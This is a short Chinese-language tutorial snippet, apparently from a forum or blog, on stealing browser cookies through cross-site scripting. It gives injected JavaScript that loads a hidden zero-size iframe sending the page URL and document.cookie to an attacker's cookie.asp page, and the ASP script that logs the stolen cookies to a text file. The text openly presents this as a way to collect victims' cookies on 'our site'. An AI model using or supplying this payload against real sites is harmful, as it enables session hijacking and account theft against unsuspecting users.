偷取Cookie，通过以下脚本引入一个js，document.write("<script src=XX.js></script>")，然后js内容为：
var code;
var target = "http://www.xxx.net/cookie.asp?";
info=escape(document.location+"@@@"+document.cookie);
target=target+info;
code="<iframe style='display:none;' src=";
code=code+target;
code=code+" width=0 height=0></iframe>";
document.write(code);
这样就可以将cookie等信息传到我们的站点了！cookie.asp内容为：
dim fso,file,str
str=unescape(request.Servervariables("QUERY_STRING"))
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set fso = Server.CreateObject("Scripting.FileSystemObject")
path = server.mappath("xxx.txt")
set file=fso.opentextfile(path, ForAppending, TRUE)
file.write("Xss:")
file.write(str)
file.write vbCrLf
file.close
set file = nothing
set fso = nothing
